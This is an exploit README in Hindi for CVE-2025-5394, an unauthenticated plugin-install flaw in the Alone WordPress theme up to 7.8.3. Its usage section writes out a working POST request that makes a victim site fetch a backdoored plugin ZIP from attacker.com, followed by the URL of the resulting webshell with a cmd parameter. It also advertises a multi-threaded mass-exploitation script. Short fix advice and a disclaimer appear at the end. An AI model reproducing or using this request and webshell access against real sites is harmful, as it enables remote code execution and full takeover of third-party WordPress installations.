CVE-2025-5394 – WordPress Alone थीम <= 7.8.3 - प्लगइन इंस्टॉलेशन के माध्यम से अप्रमाणित मनमाना फ़ाइल अपलोड

🔥 कमजोरी का सारांश
WordPress थीम Alone संस्करण <= 7.8.3 एक अप्रमाणित मनमाना फ़ाइल अपलोड कमजोरी के प्रति संवेदनशील है। यह दोष अप्रमाणित हमलावरों को एक असुरक्षित AJAX एंडपॉइंट के माध्यम से रिमोट URL से मनमाने प्लगइन ZIP फ़ाइलों को अपलोड और इंस्टॉल करने की अनुमति देता है — जिसके परिणामस्वरूप बैकडोर्ड प्लगइन्स तैनात करके रिमोट कोड निष्पादन (RCE) होता है।

यह कमजोरी beplus_import_pack_install_plugin फ़ंक्शन से उत्पन्न होती है जो बिना किसी प्रमाणीकरण या क्षमता जांच के wp_ajax_nopriv_ के माध्यम से सार्वजनिक रूप से उजागर होती है। यह फ़ंक्शन उपयोगकर्ता द्वारा प्रदान किए गए URL से एक प्लगइन स्थापित और सक्रिय करता है।

🔍 प्रभावित थीम

• थीम का नाम: Alone – चैरिटी मल्टीपर्पज नॉन-प्रॉफिट WordPress थीम
• प्रभावित संस्करण: <= 7.8.3
• कमजोरी का प्रकार: अप्रमाणित मनमाना फ़ाइल अपलोड → RCE
• CVE ID: CVE-2025-5394
• CVSS स्कोर: 9.8 (गंभीर)
• प्रभाव: पूर्ण रिमोट कोड निष्पादन (RCE) और पूरी साइट से समझौता

🧪 एक्सप्लॉइट विशेषताएँ

• 🔓 कोई प्रमाणीकरण आवश्यक नहीं
• 📦 दुर्भावनापूर्ण प्लगइन ZIP सीधे रिमोट URL से अपलोड करता है
• 🚀 प्लगइन को स्वचालित रूप से स्थापित और सक्रिय करता है
• 🐚 प्लगइन में एम्बेडेड PHP के माध्यम से वेबशेल वितरण समर्थित
• ✅ AJAX एंडपॉइंट अप्रमाणित उपयोगकर्ताओं के लिए सुलभ: /wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin

🧠 शोधकर्ता

• श्रेय: Thai An

🚀 उपयोग

1. अपने नियंत्रण वाले सर्वर पर होस्ट की गई एक दुर्भावनापूर्ण प्लगइन ZIP फ़ाइल तैयार करें।

   • इसमें एक वैध प्लगइन हेडर (Plugin Name:) और PHP बैकडोर (जैसे, bk.php) होना चाहिए।

2. निम्नलिखित POST अनुरोध तैयार करें:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim.com
   Content-Type: application/x-www-form-urlencoded
   
   action=beplus_import_pack_install_plugin&
   data[plugin_slug]=hello-dolly&
   data[plugin_source]=https://attacker.com/hello-dolly.zip
   

3. यदि सफल होता है, तो प्लगइन स्थापित और सक्रिय हो जाता है। अपने शेल तक पहुँचें:

   root@kitploit:~

   https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
   

🧰 सामूहिक शोषण स्क्रिप्ट इस रिपॉजिटरी में एक सामूहिक शोषण उपकरण शामिल है जिसमें:

• मल्टी-थ्रेडेड प्रोसेसिंग
• स्वचालित HTTPS उपसर्ग (यदि गायब है)
• सफल लक्ष्यों का result.txt में लाइव लॉगिंग

विवरण के लिए mass_beplus_exploit.py देखें।

🛠 सुधार सिफारिशें

• थीम लेखकों को wp_ajax_nopriv_beplus_import_pack_install_plugin हुक को हटाना या सुरक्षित करना चाहिए।
• प्रमाणीकरण/क्षमता जाँच लागू करें (जैसे, current_user_can('install_plugins'))
• प्लगइन स्रोतों को मान्य और प्रतिबंधित करें।
• अनधिकृत admin-ajax एक्सेस को ब्लॉक करने के लिए वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें।

🔒 अस्वीकरण:
यह जानकारी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच या उपयोग अवैध और अनैतिक है।

📚 संदर्भ:

• Wordfence सलाहकार – CVE-2025-5394

CVE: CVE-2025-5394
शोधकर्ता: Thai An